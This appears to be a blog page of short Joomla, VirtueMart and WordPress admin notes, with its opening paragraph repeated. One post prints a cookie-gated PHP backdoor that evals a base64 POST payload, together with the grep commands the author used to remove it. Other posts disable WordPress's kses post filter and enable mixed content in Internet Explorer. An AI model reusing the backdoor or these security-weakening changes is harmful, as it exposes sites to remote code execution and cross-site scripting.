In Joomla 3.8.2 (and probably 3.8) or later to remove ID from URL you go to System->Global Configuration->Articles->Integration page, select Modern URL Routing and then select Remove IDs from URLs:

In Joomla 3.8.2 (and probably 3.8) or later to remove ID from URL you go to System->Global Configuration->Articles->Integration page, select Modern URL Routing and then select Remove IDs from URLs:

I noticed that there are some suspicious PHP files with the following content on my Joomla 1.5 website:
<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
echo '<textarea id=areatext>';
eval($msg);
echo '</textarea>bg';
exit;
}}
I used the following commands to list them and remove them:
find -type f -name "*.php" -printf '%T@ %p\n' | sort -r | awk '{print $2}' | xargs ls -l | less -N
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs ls -l
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs rm
Today I updated my FireFox browser and Joomla 1.5x administrator panel stopped working in it. Looks like Joomla 1.5x administrator panel contains some staff that prevents it from working in all modern browsers except Internet Explorer, or at least Internet Explorer is the only browser that displays message “Only secure content is displayed.” and button “Show All Content” enabling some insecure mode. To eliminate the need of pressing this button each time I open new page in administrator panel I went to “Internet Options->Security Tab->Miscellaneous->Display mixed content” and chose “Enable”:
There is a new option in Joomla 3.8.2 allowing to get rid of ID in URLs (thanks to Ian who discovered it). If you have an older Joomla version and unable to update to 3.8.2 or higher follow the steps provided below:
Open components\com_content\router.php in an editor and make a small changes:
in function ContentBuildRoute(&$query) replace line 27
$advanced = $params->get('sef_advanced_link', 0);
with
$advanced = $params->get('sef_advanced_link', 1);
in function ContentParseRoute($segments) replace line 208
$advanced = $params->get('sef_advanced_link', 0);
with
$advanced = $params->get('sef_advanced_link', 1);
Recently I have started investigating VirtueMart 2.0.6. Below I recorded various issues that I have found along the way. Hopefully someone else (possibly myself down the line) will find these useful.
Create directory /home/test1/vmfiles:
mkdir /home/test1/vmfiles
Go to Configuration->Templates, enter the path:
and press Save button.
There are a lot of plugins for adding footers to WordPress posts and one of them is so called “Add Post URL” plugin written by some Chinese guys. From my perspective, its benefits includes macros support and ability to decide whether or not to display the footer for each post individually. It worked fine for me and I even improved it a little bit. The following code snippet shows how I added “post_id” macro:
$footer_text = $posturl_options['footer_text'];
$footer_text = trim($footer_text);
if (!empty($footer_text))
{
//remove_filter( 'the_content', 'wpautop' );
$post_id = get_the_ID();
$footer_text = str_replace("%post_id%", $post_id, $footer_text);
$footer_text = str_replace("%site_url%", site_url('/'), $footer_text);
$footer_text = str_replace("%site_name%", get_bloginfo('sitename'), $footer_text);
$footer_text = str_replace("%post_url%", get_permalink(), $footer_text);
$footer_text = str_replace("%post_title%", the_title('', '', false), $footer_text);
$footer_text = stripslashes($footer_text);
$text .= $footer_text;
}
Windows Live Writer is configured for working with WordPress multi-site the same way as with normal single-site WordPress installation, but WordPress works a bit differently in multi-site and single-site configurations. The difference consists in a few lines of code in wp-includes/class-wp-xmlrpc-server.php:
function wp_getUsersBlogs( $args ) {
global $current_site;
// If this isn't on WPMU then just use blogger_getUsersBlogs
if ( !is_multisite() ) {
array_unshift( $args, 1 );
return $this->blogger_getUsersBlogs( $args );
}
//single-site verion...
}
Function $document->setTitle($title) is called from “administrator/components/com_virtuemart/classes/mainframe.class.php”:
function setPageTitle( $title ) {
global $mainframe;
$title = strip_tags(str_replace(' ',' ', $title));
$title = trim($title);
if( defined( '_VM_IS_BACKEND')) {
echo vmCommonHTML::scriptTag('', "//<![CDATA[
var vm_page_title=\"".str_replace('"', '\"', $title )."\";
try{ parent.document.title = vm_page_title; } catch(e) { document.title =vm_page_title; }
//]]>
");
}
elseif( vmIsJoomla('1.5') ) {
$document=& JFactory::getDocument();
$document->setTitle($title);
} else {
$mainframe->setPageTitle( $title );
}
}
I did some investigation of VirtueMart 1.1.x discount system and the first thing I did notice is that VirtueMart 1.1.x does not support progressive discounts natively. In other words it does not allow to define the discount based on the amount of products bought or total amount of money paid.
WordPress has a very nice plugin called SyntaxHighlighter Evolved based on JavaScript package written by Alex Gorbatchev.
To make it work with Widows Live Writer I commented out a line of code in wp-includes/kses.php that installs some filter:
function kses_init_filters() {
// Normal filtering.
add_filter('pre_comment_content', 'wp_filter_kses');
add_filter('title_save_pre', 'wp_filter_kses');
// Post filtering
//add_filter('content_save_pre', 'wp_filter_post_kses');
add_filter('excerpt_save_pre', 'wp_filter_post_kses');
add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
}